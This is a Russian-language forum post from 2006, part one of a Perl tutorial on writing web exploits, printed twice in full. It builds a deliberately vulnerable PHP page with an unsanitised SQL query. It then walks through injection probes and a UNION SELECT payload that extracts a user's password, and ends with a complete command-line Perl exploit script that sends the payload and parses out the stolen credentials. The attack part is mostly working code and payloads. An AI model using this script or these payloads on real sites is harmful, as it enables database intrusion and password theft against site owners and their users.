Goudini
17.11.2006, 21:11
Написание эксплоита для Web в домашних условиях (часть 1-ая)
Как вы считаете, написание эксплоита для вэб-приложений – это сложная задача? Думаю, после прочтения этой статьи, вопросов у вас станет меньше.
Статья будет разбита на части. В каждой из них будет рассказано о том или ином подходе при написании эксплоитов начиная с простых для однократной SQL-инъекции и заканчивая более сложным для Blind-SQL-инъекции. Для более простого понимания текста, все будет снабжено комментариями.
Когда я только начинал писать эксплоиты, передо мной встал вопрос: какой язык выбрать для этих целей. Выбор был между знакомым мне php и старым добрым perl. И я остановил свой выбор именно на perl, хотя я знал его хуже, чем php, но этот язык изначально предназначался для системного программирования, в отличие от php, который все же лучше использовать для web-программирования.
Для взаимодействия с протоколом http можно воспользоваться двумя модулями perl: IO::Socket и LWP::UserAgent. Каждый из них имеет свои достоинства и недостатки. Если вам интересно подробнее узнать о принципах работы этих модулей, я рекомендую вам прочитать статью "IO::Socket и LWP: http по нашему" (http://www.xakep.ru/post/18626/default.asp).
В некоторых случаях бывает удобна комбинация этих модулей. При написании эксплоитов, мы будем использовать модуль IO::Socket для сценариев, отправляющих данные методом GET, а LWP::UserAgent – методом POST.
Я надеюсь, что читатель имеет представление о программировании, поэтому принцип действия операторов if, for, while и др. я комментировать не буду. А вот остальные участки кода будут пояснены.
Например:
#!/usr/bin/perl
use IO::Socket; # подключаем модуль
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"localhost", PeerPort=>"80″); #создает сокет, который подключается к серверу localhost по протоколу tcp на порт 80
print $sock "GET / HTTP/1.0\r\n"; # отправляет запрос на получение индексной страницы. Обратите внимание на символы новой строки: они обязательны.
print $sock "Connection: close\r\n\r\n"; # закрываем соединение
while ($answer = <$sock>) { print $answer; } # так мы сможем прочитать ответ от сервера
close($sock); #закрываем сокет
#!/usr/bin/perl
use LWP::UserAgent; #подключаем модуль
$ua = LWP::UserAgent->new; #здесь мы можем задать настройки соединения. Если ничего не указано (как в данном случае), будут использованы настройки по умолчанию.
my $req = HTTP::Request->new(POST=>"http://localhost/index.php"); # создаем запрос: куда будем посылать и каким методом.
$req->content_type('application/x-www-form-urlencoded'); # тип того, что передаем
$req->content("id=1″); # что передаем
my $res = $ua->request($req); #
$result = $res->content; # читаем ответ
print $result."\r\n";
Простая SQL-инъекция при использовании методов GET и POST.
С основами сетевого программирования разобрались. Настал черед написать наш первый эксплоит. Экспериментировать мы будем на таком сценарии:
<?
$user = 'root';
$pass = '';
$server = 'localhost';
$db = 'hackme';
echo "<html>
<head>
<title>HackMe</title>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">
</head>
<body>";
if (isset($_GET['id']))
{
$id = $_GET['id'];
mysql_connect($server,$user,$pass) or die("Failed to connect");
mysql_select_db($db) or die("Failed to select db");
$query = "SELECT name, email FROM users WHERE id='$id'";
$result = mysql_query($query);
if(mysql_num_rows($result)!='1')
{
echo "Такого пользователя в базе нет";
}
else
{
echo "<table width=\"100%\" border=\"0\"><tr>";
$array = mysql_fetch_array($result);
echo "<td>".$array['name']."</td>";
echo "<td>".$array['email']."</td>";
echo "</tr></table>";
}
}
echo " Выберите id пользователя <br>[<a href=http://localhost/hackme.php?id=1>1</a>] || [<a href=http://localhost/hackme.php?id=2>2</a>]<br>[<a href=http://localhost/hackme.php>Home</a>]
</body>
</html>
";
?>
Ничего сложного: по параметру id, пришедшему от пользователя, происходит выбор записи из базы данных и вывод результата на экран. Данные передаются методом GET, т.е. мы можем влиять на них из адресной строки браузера. Пока серверу передаются данные так, как задумал программист, то все идет нормально:
Init DB hackme
SELECT name, email FROM users WHERE id='1'
Quit
Result -> Admin admin@server.com
Init DB hackme
SELECT name, email FROM users WHERE id='2'
Quit
Result -> Hacker supaHaksor@server.net
Если передать параметру id значение 5, то в ответ мы получим, что "Такого пользователя в базе нет". А что будет, если мы подставим в запрос кавычку?
Init DB hackme
Query SELECT name, email FROM users WHERE id='5''
Quit
Result -> Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in D:\Server\www\hackme.php on line 24
Такого пользователя в базе нет
Так и есть: сценарий подвержен SQL-инъекции. Попробуем узнать версию сервера MySQL для планирования дальнейших действий.
Init DB hackme
Query SELECT name, email FROM users WHERE id='1' and version()>4/*'
Quit
Result -> Admin admin@server.com
Версия сервера базы данных явно больше 4, нам это и надо, чтобы в дальнейшем "склеить" запрос с помощью UNION, чтобы "вытянуть" из базы данных пароль пользователя.
В принципе, нам совсем не обязательно писать для этих целей специальную программу, все можно сделать руками в строке браузера. Но для понимания основ написания эксплоитов мы напишем программку, которая сделает все за нас.
Сперва мы составим скелет нашего эксплоита:
#!/usr/bin/perl
use IO::Socket; # Подключаем библиотеку, с которой будем работать. Мы договорились, что для отправления данных методом GET будем использовать IO::Socket.
if (@ARGV < 3) { &howto; } # Смотрим, сколько аргументов пришло с консоли. Если их количество меньше 3, то переходим к процедуре howto.
# Читаем пришедшие от пользователя аргументы. Так как это массив, то для обращения к его элементам нужно указывать соответствующий индекс
$server = $ARGV[0]; # Первый аргумент - сервер
$path = $ARGV[1]; # Второй - путь
$member_id = $ARGV[2]; # Третий – ID
$server =~ s!(http:\/\/)!!; # Регулярное выражение, которое вырезает из строки $server http://
$request = 'http://'; # Создаем запрос. Сперва http://
$request .= $server; # затем, справа приписываем сервер
$request .= $path; # и директорию
$port = "80"; # порт объявляем по умолчанию. Если вэб-сервер работает на другом порту, измените это значение.
# Когда все данные получены, выведем пользователю информацию, которую он ввел
print "Server : $server\r\n"; # Сервер
print "Path : $path\r\n"; # Путь
print "ID for search: $member_id\r\n"; # ID
print "Searching password... Please, be patient"; # Ну и для приличия напишем, что процесс пошел
sub howto() # Процедура howto, которая вызывается, если нет нужного количества аргументов, своеобразный хэлп
{
print q(
SQL injection exploit
Need MySQL > 4.0
==============================
HowTo:
w4g.pl [server] [/folder/] [member_id]
where:
[server] - host where script installed
[/folder/] - folder where script installed
[member_id] - user id for search
e.g. w4g.pl 127.0.0.1 /dir/ 1
===============================
coded by w4g.not_null
);
exit(); # Обязательно нужно выйти в процедуре, иначе наш экплоит начнет работу даже при отсутствии нужного количества аргументов.
}
"Скелет" готов. Теперь нужно сделаеть его "начинку".
Будем считать, что мы знаем структуру таблицы:
имя таблицы users
Поле Тип
id int(11)
name char(32)
password char(32)
email char(32)
Не трудно составить запрос, который выведет нам пароль интересующего пользователя:
5' UNION SELECT name, password FROM users WHERE id='1'/*
Комментарий (/*) добавлен на тот случай, если после уязвимого параметра есть еще какие-нибудь запросы. Нам они не нужны, поэтому мы их отбрасываем. Сервер MySQL нормально понимает незакрытый комментарий.
Теперь подготовим наш запрос к отправке. Смотрим первую часть статьи и находим там, в примере, строчку, в которой происходит формирование запроса:
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server", PeerPort=>"80″);
print $sock "GET $dir/hackme.php?id=5' UNION SELECT name, password FROM users WHERE id='$member_id'/* HTTP/1.0\r\n";
print $sock "Connection: close\r\n\r\n";
Готово. Следующим этапом нам нужно найти среди пришедшего результата нужные нам данные:
while ($answer = <$sock>) # Пока приходит ответ от сервера..
{
if($answer =~/<td>(.+?)<\/td><td>([0-9A-Z]+?)<\/td>/s) # и если в нем содержится строка, подходящая по шаблону…
{
print "\r\n[!] PASSWORD FIND =)\r\n"; # то пароль можно считать найденным
print "[+] $1:$2″; # и вывести его.
}
}
close($sock); #закрываем сокет
Все, эксплоит готов. Теперь его можно опробовать.
—
В следующих частях мы напишем эксплоиты для сценариев, работающих с уязвимыми параметрами, получаемыми методом POST.
Автор: ©w4g.not null | Security Bunker Team™ | 2006
Как вы считаете, написание эксплоита для вэб-приложений – это сложная задача? Думаю, после прочтения этой статьи, вопросов у вас станет меньше.
Статья будет разбита на части. В каждой из них будет рассказано о том или ином подходе при написании эксплоитов начиная с простых для однократной SQL-инъекции и заканчивая более сложным для Blind-SQL-инъекции. Для более простого понимания текста, все будет снабжено комментариями.
Когда я только начинал писать эксплоиты, передо мной встал вопрос: какой язык выбрать для этих целей. Выбор был между знакомым мне php и старым добрым perl. И я остановил свой выбор именно на perl, хотя я знал его хуже, чем php, но этот язык изначально предназначался для системного программирования, в отличие от php, который все же лучше использовать для web-программирования.
Для взаимодействия с протоколом http можно воспользоваться двумя модулями perl: IO::Socket и LWP::UserAgent. Каждый из них имеет свои достоинства и недостатки. Если вам интересно подробнее узнать о принципах работы этих модулей, я рекомендую вам прочитать статью "IO::Socket и LWP: http по нашему" (http://www.xakep.ru/post/18626/default.asp).
В некоторых случаях бывает удобна комбинация этих модулей. При написании эксплоитов, мы будем использовать модуль IO::Socket для сценариев, отправляющих данные методом GET, а LWP::UserAgent – методом POST.
Я надеюсь, что читатель имеет представление о программировании, поэтому принцип действия операторов if, for, while и др. я комментировать не буду. А вот остальные участки кода будут пояснены.
Например:
#!/usr/bin/perl
use IO::Socket; # подключаем модуль
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"localhost", PeerPort=>"80″); #создает сокет, который подключается к серверу localhost по протоколу tcp на порт 80
print $sock "GET / HTTP/1.0\r\n"; # отправляет запрос на получение индексной страницы. Обратите внимание на символы новой строки: они обязательны.
print $sock "Connection: close\r\n\r\n"; # закрываем соединение
while ($answer = <$sock>) { print $answer; } # так мы сможем прочитать ответ от сервера
close($sock); #закрываем сокет
#!/usr/bin/perl
use LWP::UserAgent; #подключаем модуль
$ua = LWP::UserAgent->new; #здесь мы можем задать настройки соединения. Если ничего не указано (как в данном случае), будут использованы настройки по умолчанию.
my $req = HTTP::Request->new(POST=>"http://localhost/index.php"); # создаем запрос: куда будем посылать и каким методом.
$req->content_type('application/x-www-form-urlencoded'); # тип того, что передаем
$req->content("id=1″); # что передаем
my $res = $ua->request($req); #
$result = $res->content; # читаем ответ
print $result."\r\n";
Простая SQL-инъекция при использовании методов GET и POST.
С основами сетевого программирования разобрались. Настал черед написать наш первый эксплоит. Экспериментировать мы будем на таком сценарии:
<?
$user = 'root';
$pass = '';
$server = 'localhost';
$db = 'hackme';
echo "<html>
<head>
<title>HackMe</title>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">
</head>
<body>";
if (isset($_GET['id']))
{
$id = $_GET['id'];
mysql_connect($server,$user,$pass) or die("Failed to connect");
mysql_select_db($db) or die("Failed to select db");
$query = "SELECT name, email FROM users WHERE id='$id'";
$result = mysql_query($query);
if(mysql_num_rows($result)!='1')
{
echo "Такого пользователя в базе нет";
}
else
{
echo "<table width=\"100%\" border=\"0\"><tr>";
$array = mysql_fetch_array($result);
echo "<td>".$array['name']."</td>";
echo "<td>".$array['email']."</td>";
echo "</tr></table>";
}
}
echo " Выберите id пользователя <br>[<a href=http://localhost/hackme.php?id=1>1</a>] || [<a href=http://localhost/hackme.php?id=2>2</a>]<br>[<a href=http://localhost/hackme.php>Home</a>]
</body>
</html>
";
?>
Ничего сложного: по параметру id, пришедшему от пользователя, происходит выбор записи из базы данных и вывод результата на экран. Данные передаются методом GET, т.е. мы можем влиять на них из адресной строки браузера. Пока серверу передаются данные так, как задумал программист, то все идет нормально:
Init DB hackme
SELECT name, email FROM users WHERE id='1'
Quit
Result -> Admin admin@server.com
Init DB hackme
SELECT name, email FROM users WHERE id='2'
Quit
Result -> Hacker supaHaksor@server.net
Если передать параметру id значение 5, то в ответ мы получим, что "Такого пользователя в базе нет". А что будет, если мы подставим в запрос кавычку?
Init DB hackme
Query SELECT name, email FROM users WHERE id='5''
Quit
Result -> Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in D:\Server\www\hackme.php on line 24
Такого пользователя в базе нет
Так и есть: сценарий подвержен SQL-инъекции. Попробуем узнать версию сервера MySQL для планирования дальнейших действий.
Init DB hackme
Query SELECT name, email FROM users WHERE id='1' and version()>4/*'
Quit
Result -> Admin admin@server.com
Версия сервера базы данных явно больше 4, нам это и надо, чтобы в дальнейшем "склеить" запрос с помощью UNION, чтобы "вытянуть" из базы данных пароль пользователя.
В принципе, нам совсем не обязательно писать для этих целей специальную программу, все можно сделать руками в строке браузера. Но для понимания основ написания эксплоитов мы напишем программку, которая сделает все за нас.
Сперва мы составим скелет нашего эксплоита:
#!/usr/bin/perl
use IO::Socket; # Подключаем библиотеку, с которой будем работать. Мы договорились, что для отправления данных методом GET будем использовать IO::Socket.
if (@ARGV < 3) { &howto; } # Смотрим, сколько аргументов пришло с консоли. Если их количество меньше 3, то переходим к процедуре howto.
# Читаем пришедшие от пользователя аргументы. Так как это массив, то для обращения к его элементам нужно указывать соответствующий индекс
$server = $ARGV[0]; # Первый аргумент - сервер
$path = $ARGV[1]; # Второй - путь
$member_id = $ARGV[2]; # Третий – ID
$server =~ s!(http:\/\/)!!; # Регулярное выражение, которое вырезает из строки $server http://
$request = 'http://'; # Создаем запрос. Сперва http://
$request .= $server; # затем, справа приписываем сервер
$request .= $path; # и директорию
$port = "80"; # порт объявляем по умолчанию. Если вэб-сервер работает на другом порту, измените это значение.
# Когда все данные получены, выведем пользователю информацию, которую он ввел
print "Server : $server\r\n"; # Сервер
print "Path : $path\r\n"; # Путь
print "ID for search: $member_id\r\n"; # ID
print "Searching password... Please, be patient"; # Ну и для приличия напишем, что процесс пошел
sub howto() # Процедура howto, которая вызывается, если нет нужного количества аргументов, своеобразный хэлп
{
print q(
SQL injection exploit
Need MySQL > 4.0
==============================
HowTo:
w4g.pl [server] [/folder/] [member_id]
where:
[server] - host where script installed
[/folder/] - folder where script installed
[member_id] - user id for search
e.g. w4g.pl 127.0.0.1 /dir/ 1
===============================
coded by w4g.not_null
);
exit(); # Обязательно нужно выйти в процедуре, иначе наш экплоит начнет работу даже при отсутствии нужного количества аргументов.
}
"Скелет" готов. Теперь нужно сделаеть его "начинку".
Будем считать, что мы знаем структуру таблицы:
имя таблицы users
Поле Тип
id int(11)
name char(32)
password char(32)
email char(32)
Не трудно составить запрос, который выведет нам пароль интересующего пользователя:
5' UNION SELECT name, password FROM users WHERE id='1'/*
Комментарий (/*) добавлен на тот случай, если после уязвимого параметра есть еще какие-нибудь запросы. Нам они не нужны, поэтому мы их отбрасываем. Сервер MySQL нормально понимает незакрытый комментарий.
Теперь подготовим наш запрос к отправке. Смотрим первую часть статьи и находим там, в примере, строчку, в которой происходит формирование запроса:
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server", PeerPort=>"80″);
print $sock "GET $dir/hackme.php?id=5' UNION SELECT name, password FROM users WHERE id='$member_id'/* HTTP/1.0\r\n";
print $sock "Connection: close\r\n\r\n";
Готово. Следующим этапом нам нужно найти среди пришедшего результата нужные нам данные:
while ($answer = <$sock>) # Пока приходит ответ от сервера..
{
if($answer =~/<td>(.+?)<\/td><td>([0-9A-Z]+?)<\/td>/s) # и если в нем содержится строка, подходящая по шаблону…
{
print "\r\n[!] PASSWORD FIND =)\r\n"; # то пароль можно считать найденным
print "[+] $1:$2″; # и вывести его.
}
}
close($sock); #закрываем сокет
Все, эксплоит готов. Теперь его можно опробовать.
—
В следующих частях мы напишем эксплоиты для сценариев, работающих с уязвимыми параметрами, получаемыми методом POST.
Автор: ©w4g.not null | Security Bunker Team™ | 2006